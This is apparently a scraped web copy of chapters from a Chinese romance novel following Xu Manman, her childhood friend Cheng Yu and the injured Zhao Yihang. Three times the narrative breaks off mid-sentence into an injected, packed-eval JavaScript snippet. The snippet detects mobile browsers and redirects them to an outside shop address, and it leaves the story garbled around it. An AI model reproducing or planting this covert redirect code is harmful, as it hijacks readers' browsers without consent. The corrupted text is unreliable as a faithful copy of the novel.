可现在换了心情和立场,再去审视程喻的长相,好像还真有点不一样了。 程喻其实长了一张薄情脸,不笑的话看起来就很冷淡。尤其侧脸,就连眼下这种阳光洒落的时刻,勾出的线条都带着冷感。 她想起高中文理分科之后,新同桌人比较内向,受她所托去给程喻还书,还有点不敢跟他说话。 “你不觉得他其实冷冰冰的吗?”她对许曼曼说,“我知道他态度很好,也是笑着的,可我总觉得他眼里根本没有笑意。” 许曼曼当时大为迷惑,怎么也不能把程喻和“冷冰冰”这个词联系在一起,还以为是她不太习惯跟男生说话的原因。现在回想起来,其实说得也不无道理。 别的不说,就上次程喻说要绝交,当时她虽然强装镇定,其实根本不敢看他的眼睛。 一方面是没办法面对失去,另一方面也是因为,那个时候的程喻,其实真的有点冷冰冰。 她就这么看着程喻的侧脸,东想西想的,直到他伸过另一只手,把她脑袋强行转了过去。 “看屏幕,别看我了。” “哼。”许曼曼不承认,“谁看你了?” 他轻声笑了。 * 课间休息,许曼曼立刻把手伸到他面前。 “手机。” 程喻瞥了她一眼,终于松开牵着她的手,把手机还给了她。 许曼曼玩了会儿,眼角余光却看到程喻的手机屏幕亮了,好像是有消息。 他正在看电脑,没有理会,在又连着亮了几下之后,才拿起来看了眼,没有回。 许曼曼看在眼里,问他:“谁?又是师兄?” “不是。”他还在盯着电脑,随口说道,“实验室的同学。” 许曼曼不说话,他过了一会儿才反应过来,转头看她。 “怎么,又查岗啊?” 他脸上带笑,许曼曼却没有笑。 “程喻。”她说,“仔细想想,感觉你对我说的不是很多啊?” “嗯?”程喻有些不明白,“什么?” “比如舍友、同班同学,还有——”她顿了顿,“‘实验室的同学’之类的。” 程喻观察着她的表情,也跟着认真了起来。 “因为没有必要。”他说,“对我来说都是无关紧要的人,所以觉得没必要浪费时间在这上面。” 许曼曼皱起眉头,他很轻巧地说着这种听来残酷的事,却并不觉得有什么不对。 以前的自己可能也不觉得有什么,可现在,这话却像是有言外之意似的。 他感受到许曼曼心情变糟,立刻把手机递了过来。 “你自己看。” “我不看。”许曼曼靠回到墙上,“我看你手机干吗?” 见她不说话了,程喻拉拉她衣角。 “生气了?” “没有啊。”许曼曼说,“我生气干吗。” 正好这时上课铃响了,她找到借口,立刻收起手机,翻开书假装开始听课。 程喻盯着她看了一会儿,也不好再说什么,话题就停在了这里。 许曼曼听了有史以来最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781284|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认真的一节马原,笔记都做得很满,简直像回到了高中政治课。 没办法,身边坐着一个时刻盯着你动向的人,要假装就必须假装到底。 终于下了课,程喻跟在她身边,在出了教学楼之后,才找到机会开口。 “你打算多久不跟我说话?” 许曼曼目视前方:“没有不说话啊。” “嘴撅得这么高,还说没有。”他戳了戳许曼曼的脸,“别生气了。” “说了没生气。” 许曼曼看着他,语气却已经是在生气了。 他也就及时住嘴,没再多说什么。 虽然生气,但还是照之前说的,在他走之前,一起去校内的咖啡馆坐了坐。 他端了喝的东西过来,却没坐对面,直接坐到了她身边。 把苹果汁放到她面前,又推推她,也不说话。 许曼曼往旁边坐了坐,皱眉:“干吗?” “我就要走了。”他说,“真的要闹脾气?” 就这么往她身边靠近过来,压低声音,可怜巴巴的。 “我错了。” 许曼曼看了他一眼,还是不说话。 “原谅我?” 嘴上说着讨饶的话,身体动作可不是这样的,许曼曼几乎是被他圈在怀里,下巴搁在她肩膀上,眼睛一眨不眨地看着她。 “对不起。”许曼曼却道了歉。 话一出口,程喻有些惊讶的样子,直起身子,微微皱起了眉头。 “我知道自己有点无理取闹,但就是控制不住。” 她瞟了他一眼,随即又垂下眼睛,盯着自己的手指。 “小鱼,我觉得好像并没有那么了解你,就像现在,我们虽然在一起,但距离好像又特别远。” “上次你要和我绝交,我其实吓坏了,后来我也仔细想过,我们虽然一起长大,但这好像也不是什么了不得的事,你随时都可以离开的。” “就算……就算你说你喜欢我,但这份喜欢也是随时可以收回的。我们在不同的城市,不同的大学,你身边会有别的人,别的更优秀、更值得喜欢的人。” “我拥有的,只有我们过去的回忆,但人长大了,好像不是靠小时候的事物就能维系的,对吧?” 她断断续续说完,中间没有抬头看他一眼。 程喻沉默地听她说完,随即伸手,紧紧攥住她的手。 他真用力,许曼曼有些吃痛,下意识转头看他。 “对不起。” 两个人眼神接触的一瞬间,程喻就道了歉。 “是我的错,绝交那件事,根本就是幼稚、冲动、自以为是。” “不是因为别的,我说得冠冕堂皇,其实就是一时气急。因为你和那个学长走得很近,因为你来了西岭,因为你喜欢和他待在一起。” “说完之后我就后悔了,想收回可是又不知道怎么开口。纠结了一晚上,第二天却要走了。” “回校之后更是后悔,想找你,想跟你说那是开玩笑,可又觉得这么说了也好,反正早晚要面对,不如早死早超生。每天都在左右摇摆,手机点开又关掉。” “国庆在学校看到你的时候,我装作不在意,可心里真的很高兴。当然,要不是你拉住我,也许又要搞砸了。” “我怎么会想要和你绝交呢?我恨不得每时每刻都和你在一起。就像现在,和你在一起的时候,也觉得好想你。” “对我来说,没有人比你更好,没有比你更值得喜欢的人。这跟我们长不长大,跟时间、距离都没有关系。” “那天你说我没有认真表白,现在虽然也不是什么好时机,可是我想认真告诉你。” 他看着许曼曼的眼睛。 “曼曼,我喜欢你,我只喜欢你。” 15. 淼淼 许曼曼有点羡慕赵宜杭。 经管学院的政策似乎很宽松,辅导员手一挥,就给了他两周的病假。 两周是什么概念,在新传学院,要想请到这么长时间的假,感觉只有结婚才行。 许曼曼每天无论什么时间去,一人一狗窝在家里,看起来都逍遥惬意得很。 她周五课比较多,只有上午三四节有空出来的时间,于是下了早八就去遛狗。 今天少爷倒是起了,正克服困难只用一只手玩游戏。 他其实有点近视,在家的时候会戴眼镜,头发也有点乱糟糟的,窝在沙发里,看起来倒是人畜无害的样子。 “吃饭了吗?”许曼曼随口问了句。 “没有。” 他平常不怎么吃早饭,主要是一觉起来差不多也到午饭的点了,不存在早饭时间。 但今天不知道为什么,从游戏里抬头,看了许曼曼一眼。 “饿了。” “不早说。”许曼曼叉腰,“早说就给你带饭了。” 阿姨每天下午来打扫做饭,所以这个点是没饭吃的。 “你会做面吗?”他问。 “哈哈哈,你真幽默。” 许曼曼去厨房看了眼,回来问他。 “方便面吃吗?我可以给你泡一杯。” “不想吃。”他又看回了游戏机。 “那点外卖嘛。”许曼曼有在认真照顾病号,拿出手机,“来,给你点一个面。” “不想吃。” “你毛病可真多。” 许曼曼坐到沙发上,翻了翻外卖列表,找到了一家看起来还不错的店。 于是推推他:“这个,要吃吗?有阳春面,还有鸡丝面,都挺清淡的。” 赵宜杭随便瞄了眼,还是那句。 “不想吃。” “喂!” “想吃辣的。”他眼睛还在盯着游戏机,“你吃过西岭这边的面吗?” “我看你是想死。”许曼曼亲切地说,“医生不是说了要吃清淡的,还没复查呢,你倒成西岭本地人了。” 她没再征求他的意见,直接下单了阳春面。 等外卖的时候,Coda在旁边玩了会儿它的小恐龙,又不知道跑去哪里叼来个东西啃。 许曼曼开始并没在意,玩着手机随便扫了眼,突然发现那好像是个钱包。 “Coda!” 她立刻去把钱包抢救了过来,应该是赵宜杭的,某大牌的黑色短款,就这么一会儿工夫,其中一个角已经被咬烂了。 “你的钱包!”她把狗啃钱包展示给赵宜杭看,“它这是从哪儿翻出来的?” 赵宜杭头都没抬,随便应了一声。 “嗯。” 既然当事人无所谓,许曼曼就更无所谓了,翻开来看了眼,里面只有身份证和几张银行卡,好在抢救及时,都还没遭殃。 她随手翻看确认一下,却在看到身份证上出生日期的时候,骤然睁大了眼睛。 比她小一岁,但同样的12月24号,平安夜生日。 “我们同一天生日!”她难以置信地转头,“我也是12月24号!” 赵宜杭终于有了点反应,抬头看她。 “是吗?” “这是什么概率?”她盯着身份证看,还是觉得神奇,“太巧了吧?!” “1/365.” 他立刻回答,又好心地补充道。 “也就是0.274%.” “……” 许曼曼把身份证给他塞回钱包里,抱怨起来。 “什么嘛,感觉我们半点都不像,星座这种事到底准不准啊?” 说着,突然想起了什么。 “等等。” 她看着赵宜杭,震惊道。 “你还没成年呢?!” “……” 赵宜杭假装没听到。 * 出门遛狗的全程,许曼曼都还在回味赵宜杭其实还未成年这件事。 其实倒也不奇怪,大一新生中总会有生日小一点的,开学之后都还没成年,她自己其实也是这样。 主要是赵宜杭平时嚣张惯了,骤然得知他其实还是个法律意义上的未成年人,考不了驾照,去不了网吧,手游也只能在周末和节假日玩一个小时,实在是很好笑。 她就这么回味了一路,带着愉快的心情回去,进门却发现家里有人。 不是刘阿姨,是个从来没见过的中年女人,一身利落的套装,棕色长发挽了起来,气质很好。 许曼曼还牵着Coda,一时不知道该不该解开狗绳。 四目相对,她表情却显得有些诧异,目光在许曼曼脸上停留得有些久。 “这是宋阿姨。” 赵宜杭走过来,接过了Coda的绳子,又简单介绍了她。 “许曼曼。” “阿姨好。” 许曼曼礼貌地微笑,打了招呼。 她这才收回几乎是打量的目光,点头微笑。 “你好。” 许曼曼转头,小声对赵宜杭说。 “既然家里有客人,那我先撤了。” 他还没回答,那位宋阿姨却也拿上包走了过来。 “淼淼,那你好好养伤,我就先走了。” 许曼曼愣了下,一时不知道她是在对谁说话。 赵宜杭在旁边,却是“嗯”了一声。 宋阿姨看向许曼曼,她有一张很温和的面孔,化了淡妆,笑起来让人觉得如沐春风。 “曼曼,多谢你照顾他。” “啊,也没有。”许曼曼有些不自在,“是我要多谢他。” 她笑了,又弯腰摸了摸Coda的脑袋,这才离开。 赵宜杭没有送出去,简单说了再见,就把门关上了。 许曼曼松了口气,立刻问他。 “淼淼是谁?” 赵宜杭瞟了她一眼,蹲下身给Coda解开了狗绳,它重获自由,立刻撒了欢地跑开了。 他这才抬眼看她,漫不经心地说。 “还能有谁?不是我还是你啊?” “你?你叫淼淼?”许曼曼有些想笑,“这是什么?小名吗?” 他没有回答,扮高冷走开了。 “哎,淼淼。”许曼曼跟上去,“那宋阿姨又是谁啊?” “不准这么叫我!” 他皱起眉头,一副很抗拒的样子。 “好吧好吧。” 许曼曼从善如流,这时看到了沙发旁边放着的一堆补品,应该都是这位宋阿姨带来的。 赵宜杭坐到沙发上,示意厨房那边。 “还有汤,你喝吗?” 餐桌上果然放了保温壶,还是两个。 许曼曼打开看了眼,一个应该是花胶鸡汤,汤色清亮,闻起来很香,还有一个是甜汤。 “我给你倒出来吧?”许曼曼问他,“先喝哪个?” “我不喝。”他说,“你要喝的话就喝,不喝就倒了吧。” “你这人怎么这样?”许曼曼气愤道,“人家给你炖汤来,你不想喝也不能倒了吧?” “那不然留着干吗?浇花?” “……” 家里哪里有花,所以最后还是落进了许曼曼的肚子里。 她坐在餐桌边喝着汤:“这位阿姨手艺不错啊,你真不来一碗?” “不要。” 他歪靠在沙发上,却没有再玩游戏,盯着天花板,像是在发呆。 许曼曼观察着他的表情,又问。 “所以她到底是谁啊?” 他维持着发呆的表情,却回答了。 “我的第一任后妈。” 后妈,还是第一任。这话听着实在新奇,一时间许曼曼竟有些不知道如何回话。 咽下最后一口汤,说了句。 “哇哦。” 赵宜杭却像是被她的反应逗笑了,懒洋洋地看过来。 “怎么不接着问了?” “这不是,喝人家嘴短嘛。” 许曼曼把喝完的汤碗展示给他看,诚实地说。 “而且我问题太多,怕你嫌烦。” “问问看。” “你一共有几任后妈?” “三任。” “……哇哦。”许曼曼感叹一声,又问,“那她为什么会来这里?” “她是西岭人。” “哦,那你为什么叫淼淼,是小名吗?” “嗯,我爸找大师算过,说我命里缺水。” “那你干吗不叫赵淼淼?” “大名也是大师算的。” “哦,这大师还在吗?哪里人啊?能帮我也联系一下吗?我也想算算。” 赵宜杭瞥了她一眼,她立刻嘿嘿一笑。 “好了,最后一个问题。” 顿了顿,才问出了最想知道的那件事。 “刚才,那位阿姨看见我的时候,好像有点诧异的样子。” 她说,看着赵宜杭。 “为什么?” 他这次没有立刻回答,停顿片刻,才笑了。 “你不是知道吗?我说过啊,你长得很像我姐姐。” “所以你说的那个姐姐,不是你亲姐,也不是表姐堂姐,是你这位后妈的女儿?” 他沉默了。 * 许曼曼这一天过得相当漫长,下午连上两门专业课,晚上还有饭局。 不是因为别的,而是因为,902宿舍,终于出现了第一位告别单身的人。 李思慕同学,暗恋成真,和大一进校就一见钟情的学长在一起了。 这可喜可贺的事,当然值得好好庆祝一番。 而她也按照之前的约定,非常爽快地请大家出去吃饭。 虽然被课业摧残了一天,几个人八卦之魂丝毫不减,饭局变成鲁豫有约,一个问题接一个,硬生生把李思慕的心路历程访谈了出来。 “真能藏啊你。”林乔感慨道,“没想到这顿饭竟然是你请的。” “是啊。”俞梦看了眼许曼曼,“感觉其实可以再等几天,吃了曼曼请的饭再表白的。” “……” “哎,说起这个,曼曼,我能采访一下你吗?” 看到许曼曼一脸无语的样子,林乔突然又把话筒递了过来。 “你该不会是为了不请这顿饭,才一直不答应程喻的吧?” “……” 吃完饭时间还早,按照林乔的提议,几个人又去了学校附近的一家酒吧。 据她说,这边最近有个乐队驻唱,唱得一般,但鼓手帅得惨绝人寰。 听到有帅哥,没人有异议,火速打车前往。 酒吧里果然人满为患,还没到开唱时间,就已经人挤人了。尤其小舞台旁边,围满了年轻的女生,应该都是附近大学的学生。 许曼曼本来对林乔的审美存疑,但见了这场面,一颗心立刻放了下来。 怀揣着即将见到帅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她心里吐槽着,没有接,电话响了一会儿就挂断了。 但是很快,W又打了回来。 这次许曼曼有些犹豫,看着手机屏幕上的字母,不知道对方是不是有什么事。 犹豫间电话又挂断了,然后来了第三通。 赵宜杭还没回来,这次许曼曼没有再犹豫,拿起手机接通了电话。 “喂,六水,你电话能不能不要这么难打?” 没想到W是个女生,电话一接通就传来指责声。 “你要是不想接,把我拉黑可以吗?” 酒吧的音乐声太响,许曼曼堵住另一只耳朵,才能勉强听清。 “那个,不好意思,请问你找谁?” “啊?”W愣了下,“我没打错吧?这是赵宜杭的号码吗?” “是的是的!”许曼曼连忙点头,虽然她也看不到,“他现在不在,我怕有事所以帮他接一下。” “哦,也没事。” 她声音听起来,竟然有种如释重负的感觉。 “就是听说他受伤了,打电话慰问一下。既然这样,你帮我转达就好了。” “他很快就回来了。”许曼曼说,“我会转达的,让他给你打回去吧?” “不用不用!”她连忙拒绝,“我也很忙,正在打工呢,其实不能用手机,打完电话我就要回去工作了。” “啊,好吧。” “那,反正就是那一套,让他好好养伤之类的,你帮我说一下吧。” W匆匆忙忙地说,好像特别怕赵宜杭回来。 “谢谢了。” “哦,好。” 许曼曼答应下来,电话也就挂断了。 她盯着手机屏幕,有些摸不着头脑。 这个W,实在是有些古怪,说是没时间用手机,可却能连着打三个电话,明明是打电话来慰问的,却又不是很想和赵宜杭说话的感觉。 还有就是,她开头那个称呼,“六水”,是什么意思? 正在琢磨着,赵宜杭回来了。 “好了,走吧?” 许曼曼看着他,把手机递了过去。 “那个,你有个电话,响了好几遍,我就帮忙接了下。” 他表情变了。 甚至没有看一眼手机确认,有些急切地问她。 “她说了什么?” “就,听说你受伤了,让你好好养伤,早日康复,这些。” “还有呢?” “还有……就这些,没了。” 许曼曼犹豫了下,没把W说自己没时间用手机之类的话告诉他。 “嗯。” 他语气冷淡下来,没再说什么。 “我不是有意接你电话的。”许曼曼觉得有必要解释一下,“响了好几遍,所以我才——” “没事。”他说,已经把手机收了起来,“走吗?” “哦,好。” 这会儿工夫,小舞台上乐队已经在调试乐器了。 许曼曼往那边看了眼,灯光映照,人影攒动,根本看不清鼓手长什么样子。 不知道是不是真有林乔说得那么帅。 16. 心情 复查当天,许曼曼也一起去了医院。 还好恢复得不错,检查过后,手臂上的夹板终于可以取下,换成了支具。 苏老师陪着一起来的,也是松了口气,又一个劲地叮嘱赵宜杭,还没有完全痊愈,不能掉以轻心。 许曼曼在一旁心情复杂,也没法告诉她这位少爷根本就把医嘱当耳旁风的。 少爷听倒是听着,但一副神游天外的样子,心不在焉的。 他这两天都是这样,更准确的说,是在W打过那通电话之后,情绪就变得有些低落。 回去依旧是苏老师送他们,许曼曼顺便遛狗,要带着Coda出去的时候,问了一句。 “要一起吗?” 赵宜杭正发着呆,抬眼看她,像是没听清。 “今天外面天气不错,大太阳。”许曼曼说,“医生说了要适度运动,晒晒太阳挺好的。” Coda也在旁边摇尾巴,很期待地看着他。 “好。” 他拿了外套,也一起出去了。 老天爷是真的很爱和她做对,刚才明明还大太阳,出去没一会儿,天就阴了起来,云层厚厚地铺开,阳光消失不见了。 “别这样,好吗?”许曼曼仰头,开始试着和天空对话,“你这样让我很没面子!” 赵宜杭原本走着路神游,这会儿倒笑了。 “算了。”许曼曼看了他一眼,“天阴就阴吧,别下雨就行,我们可没带伞。” 说完,立刻惊恐地抬头看了眼天空。 “完了,该不会我说完就要下雨了吧?” “那你就成大师了。”赵宜杭也跟着抬头,“没那么灵。” “你觉得大师给你算得准吗?” 许曼曼终于还是忍不住,开始问问题。 “我是说,你命里真的缺水?” “不知道。”他想了想,“但我大概缺爱吧。” “……” 许曼曼大脑飞速运转,但什么也没运转出来。 于是真诚发问:“话题怎么突然就转到这么沉重的层面了?” “沉重吗?”赵宜杭语气有些漫不经心,“爱有什么沉重的?” 许曼曼没说话,他转头看她,笑了。 “你知道吗,只有像你们这种拥有爱的人,才会觉得爱很沉重。” 他很轻易地把自己划出了这个阵营。 明明是在笑着,可许曼曼觉得他看起来有些落寞。 就像那天晚上,酒吧里晃神的一瞬间。 “吃面吗?” 她说,脑海中不知道为什么浮现出这个念头。 “我给你做。” * 许曼曼根本就不会做面。 虽然算不上十指不沾阳春水,但她长到这么大,也的确是没下过几次厨房。 妈妈厨艺很好,而且做饭的时候不喜欢别人在旁边,从来不要她帮忙,吃饭时她除了端碗拿筷子,也就再没做过别的了。 家里大人不在的时候,反正还有程喻。 他不喜欢许曼曼点外卖,总能变着花样给她做好吃的,比妈妈还厉害。 毕竟妈妈不会因为她想吃柠檬挞,就真的给她当场做出来,妈妈只会让她哪儿凉快哪儿待着去。 程喻妈妈厨艺也很好,尤其海鲜面是一绝,每次做的时候许曼曼都会去蹭饭,所以程喻也跟着妈妈学了,偶尔会给她做着吃。 就这样,许曼曼回忆着程喻做面时的步骤,再加上自己的理解和创造,也算是像模像样地还原出来了。 这么看来,做饭其实也没想象得那么难嘛。 她精心在面上撒了点葱花做点缀,端到了赵宜杭面前。 “给,这是我们星港的家常面,肯定比西岭的好吃。” 这几天下来,赵宜杭用左手已经没那么艰难了,拿起筷子吃了一口。 “怎么样怎么样?”许曼曼迫不及待地问,“好吃吗?” 他没有立刻回答,细嚼慢咽地吃完,才点头。 “还行。” “好吃就好吃,什么还行。” 许曼曼哼了一声,坐到了餐桌对面。 赵宜杭看着她:“你不吃吗?” “你吃就好,我不饿。”她摆出一副慈爱的面容,“看你吃我就饱了。” 赵宜杭瞄了眼厨房,很尖锐地指出。 “其实是只做出来一碗吧?” “……” 许曼曼敲了下桌子,瞪他。 “话怎么这么多?快吃!” 她在一边玩着手机,看赵宜杭慢条斯理地吃面,几乎是一根一根地挑,半天了才吃不到一半。 就算不是惯用手,这速度未免也太离谱了。 “喂。”她忍不住问,“你怎么吃这么慢?我做的面不好吃吗?” “还行。”他还是这句话。 “看你这个样子,感觉再吃两口就要吐了。” 许曼曼十分不满。 “怎么没有表现出那种,非常好吃、厨艺很棒的感觉?” “可能我面瘫吧。” “……” 许曼曼去重新拿了双筷子:“我尝一口。” “你做的时候没尝过?” 赵宜杭把碗推给她,问了句。 “忙都忙死了,哪有那工夫。” 说着,许曼曼挑了口面尝了下。 然后立刻抬头,难以置信地看着赵宜杭。 他没说话,眼睁睁地看着她冲去把面吐了。 “赵宜杭!”许曼曼漱了漱口,回身看他,“你有病吧?这么难吃的东西你也能吃下去?” “还好吧。” “我看你不是缺爱。” 许曼曼走过来,直接把剩下的面也拿去倒了。 “你是缺味觉。” * 回去的路上,许曼曼才接到程喻的电话。 “看到我发给你的照片没?”电话一接起来,许曼曼就兴奋地说,“是不是挺像那么回事的?” “嗯,看到了。”他解释道,“上午一直待在真空室里,没带手机。” “本来还想让你给我远程指导一下的,联系不到只好自己看着做了。”她忍不住笑,“超~级~难~吃!” “看起来还好。”他说,“怎么想起来做这个了?想吃了?” “没,我给赵宜杭做的,哇他也真是个狠人,那么难吃,竟然面不改色吃了半碗,我一口都没吃下去,直接吐了!” “你给他做?” “对啊,他那天就说想吃面,我给他点的外卖,但是这位哥这两天心情不好,我就大发慈悲给他做了,差点没把他毒死。” “他心情不好跟你有关系吗?” “算不上吧。”许曼曼思考了下,“但是他受伤毕竟是因为我嘛,所以我还是负有一定责任。” 程喻像是叹了口气。 “怎么了?”许曼曼问他,“你心情也不好?” “我心情不好的话,你要怎么办?” “这个嘛,看情况咯。”许曼曼说,“但是做面就算了吧,你也不想被毒死吧?” “嗯,除了这个,还有什么?” “说了看情况嘛,所以你是因为什么心情不好?” “你觉得呢?” “我觉得啊……” 说实话许曼曼还真的想不出来,一直以来,程喻在她面前都是完全没脾气的那种,情绪极其稳定,好像也没什么心情不好的时候。 这也是为什么他之前那么冷漠地要绝交,把许曼曼一下子弄懵了。 所以突然要揣摩他的心思,还真是挺难的。 “嗯,学校里的事?”她努力想了想,“你实验数据又有问题?机器坏了?” 感觉能让他心情不好的,也只有这种事了。 程喻没有马上回答,片刻沉默,他轻轻笑了。 “怎么了?笑什么?” “没什么。”他语气恢复如常,“逗你呢。” “无聊。”许曼曼把他的话还回去。 “是挺无聊的。” 他自己倒承认了,笑了笑。 “好了,机器真的还在跑,我先回去了。” * 吃晚饭的时候,许曼曼也给林乔讲了自己完全没有厨艺天赋这件事。 她觉得很有意思,林乔听完,却是一副欲言又止的样子。 “怎么了?”许曼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781286|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曼觉得没劲,“你怎么也这样?” “‘也’?还有谁?” “程喻啊。”她说,“我给他看照片,他连句正经评价都没有,说些有的没的。” “天,程喻也太惨了,怎么摊上你这么个——” 林乔思索片刻,精心挑选出一个词。 “——榆木脑袋?” “喂,说谁呢你!” 林乔顺手从她盘子里夹了只虾:“我劝你,跟赵宜杭保持点距离吧。” “啊?”许曼曼愣了下,随即凑上前去小声问道,“他怎么了?” 林乔看着她八卦兮兮的样子,剥虾的动作停了下来。 “不是他怎么了!是你!” 她说,满脸的无语。 “你每天和他混在一起,端茶倒水洗衣做饭的,有没有想过程喻会怎么想?” 许曼曼反应了一下,才终于理解了她的意思。 “可是,他是因为我才受伤的啊,我当然要尽力照顾他。”她皱着眉头,“而且,没有端茶倒水洗衣做饭好吧!我就是每天去遛个狗,饭也就做了今天一次,还很难吃。” “这是重点吗?重点是你们距离太近了,偏偏他又是那种很容易让人误会的类型,你让程喻怎么想?” “程喻没事的。”许曼曼说,“他上次来的时候见过赵宜杭了,也没说什么啊。” “所以我说你榆木脑袋。” 林乔摇了摇头,又继续剥虾。 “你觉得他大老远跑来西岭,是为了什么?就是为了陪你吃个饭上个课啊?” “他是因为担心我。”许曼曼理直气壮地说,“怕我因为交通事故留下心理阴影。” “……我看你还是适当留下点心理阴影吧,不然也不至于这么没心没肺了。” 林乔摆出一副恨铁不成钢的样子。 “我之前不就说过,异地恋不容易,你这样很容易让人误会。” “说了还没‘恋’!” “你就自欺欺人吧。”林乔冷笑一声,“所以我才说程喻惨。” 许曼曼瞪她一眼,看着她慢吞吞把那只虾吃完,才问。 “你是说,程喻吃醋了?” “恭喜恭喜,这道1+1=2的题,您老人家总算弄懂了。” 林乔翻了个白眼,又夹走一只虾。 “恋爱咨询费,本人笑纳了。” * 晚上程喻的联系来得有点晚,是视频通话,许曼曼想了想,去了阳台。 点开却发现他也在外面,只有昏黄的一点光,照得他眉眼朦胧,都敛在了夜色中,看不太真切。 “你在哪里?” 因为林乔对她一通爱的灌输,许曼曼说话低声细语起来。 “湖边。” 他说,不知怎么笑了起来。 这笑有些轻飘飘的,不是他平常的样子。 许曼曼眯起眼睛:“你喝酒了?” “嗯,你怎么知道的?”他还是在笑,“刚聚餐回来,有点热,坐在这里吹吹风。” “喝了多少?” “没多少。”他抬眼想了想,又有些不太确定地补充道,“真的。” 许曼曼没有揭穿他,这一看就是喝得有点多。 程喻酒量不太好,啤酒差不多两瓶就能醉,一瓶多就会有点意识飘忽了。 他喝醉倒也没什么,就是会莫名其妙地笑,反应也会变慢,有点冒傻气。 “快回去吧。”许曼曼说,“喝了酒别在外面吹风,小心头疼。” “嗯。” 他答应着,但没有什么动作。 “那我——” 许曼曼要挂断的话还没说出口,他突然叫她。 “曼曼。” “嗯?”许曼曼应了声,“怎么了?” “先别挂。” 他往手机前凑了凑,脸抵过来,几乎要紧贴着屏幕了。 “我好像是喝多了。” 他承认道,声音低低的。 虽然贴了过来,但并没有看镜头,垂着眼睛,朦胧的灯光下,睫毛的倒影都能看得很清楚,又密又长,像两把茸茸的小扇子,轻轻擦过。 “突然有点想你。” 17. 可怜 许曼曼第二天是早八,起得比平常要早,坐在床上发了会儿呆,好容易清醒过来,就摸过手机给程喻打电话。 他接电话的声音倒是清清爽爽:“这么早?” “你起了?” 其他三个人都已经起了,窗帘拉开,阳光透过窗户洒进来,许曼曼被照得有点睁不开眼睛。 “嗯,已经到教室了。” “……变态吧你。” 许曼曼无语。 “酒醒了?” “我没喝多少。”他立刻强调,“而且也没醉。” “怪我,没把通话录音,让你听听自己当时是怎么说的。” 他轻声笑了,听起来没半点不好意思。 许曼曼哼了一声,又问他。 “你周末有事吗?” “还好,就是平常那些事,没什么特别重要的。”他说,“怎么了?” “那,要是没什么特别重要的事的话,我过去找你,可以吗?” 电话那边停顿了一会儿,然后他才回话。 “真的?来华都?你不用遛狗了?” “……你倒是记得比我还清楚。”许曼曼说,“我托刘阿姨帮我遛两天,反正离了我地球也能转,而且赵宜杭现在没那么不方便了,他也可以的。” “真的?你确定?” “假的。”许曼曼无语,“所以可不可以啊?” “当然可以了!”他立刻回答,又问,“周末是指哪天?周五?还是周六?应该不是周日吧?” 这个许曼曼倒是还没想,回忆了一下课表。 “那就周五?我下午就两节课,下了课去吧。” “好,那就周五,说好了。” 他听起来是在笑,兴奋的感觉从电话那头都要传过来了。 “真希望周五快点到。” 许曼曼本来还好,被他的情绪感染到,不知怎么也有些激动。 挂了电话又躺回到床上,心里觉得怪怪的,明明刚见面还没有多久,怎么觉得像是好久不见了。 林乔已经洗漱完了,坐在桌前抹护肤品,回身看了她一眼。 “怎么着,终于打算答应了?” “我还没想好。”许曼曼盯着天花板,老实回答,“也许见了面就知道了。” “到底还要想多久?有什么可想的?你们现在这样,跟谈了有什么区别?” “当然有了,我们从小就这样!” “得了吧。”林乔说,“别欺负我没发小,我可没见谁家青梅竹马是你们这样的。” “反正就是不一样。” 许曼曼自己也说不出哪里不一样,但还是固执地说。 “好吧,那就不一样。” 林乔起身过来,真诚地看着她的眼睛。 “但是你再不起床就要迟到了!” * 许曼曼的倒霉体质再一次得到验证。 西岭从周四晚上开始下雨,一直到周五也没停,断断续续下了一整天。 她下午六点半的飞机,结果到了机场却是一片混乱,因为低云和浓雾的原因,能见度太低,机场已经暂停所有起降,航班大面积延误。 就这么在机场坐等,可是雨还没停,雾气越来越重,到十点多的时候,航司终于发布通告,航班改到了第二天早上六点。 没办法,许曼曼只好在附近找了间酒店住下,但也没怎么睡,感觉刚闭上眼睛就要起床了。 好在机场已经恢复了起降,这次没等太久,飞机终于在六点多起飞。 九点半落地华都,这边倒是个大晴天,许曼曼背着包出来,精神有些萎靡。 接机口这里人还不少,她目光扫过,还没看清人在哪里,就被迎面一个拥抱撞了满怀。 “曼曼。” 程喻紧紧抱着她,贴在她耳边说。 “我好想你。” “喂!” 许曼曼尽量压低了声音,偷偷掐他。 “松手,大家都在看着呢,你搞什么?!” 好几个航班同时到达,周围来来往往的人,但没人像这位一样夸张,两个人难免成为人群焦点。 “我是国内航班出来的!你是不是剧本拿错了,这又不是什么久别重逢!” “我不管。”程喻抱得更紧了,“我高兴。” “……行吧。” 这位也是难得情绪化一次,许曼曼暂且忍了。 回去的路上症状也没有缓解,黏黏糊糊的,一双手不知道放哪里好了,一会儿给她拨弄一下刘海,一会儿给她整理一下衣服领口。 又把已经知道的事情再问一遍:“你明天下午走?” “嗯。”许曼曼打了个哈欠,“周一早课。” “辛苦了。”他又顺手摸了摸她脑袋。 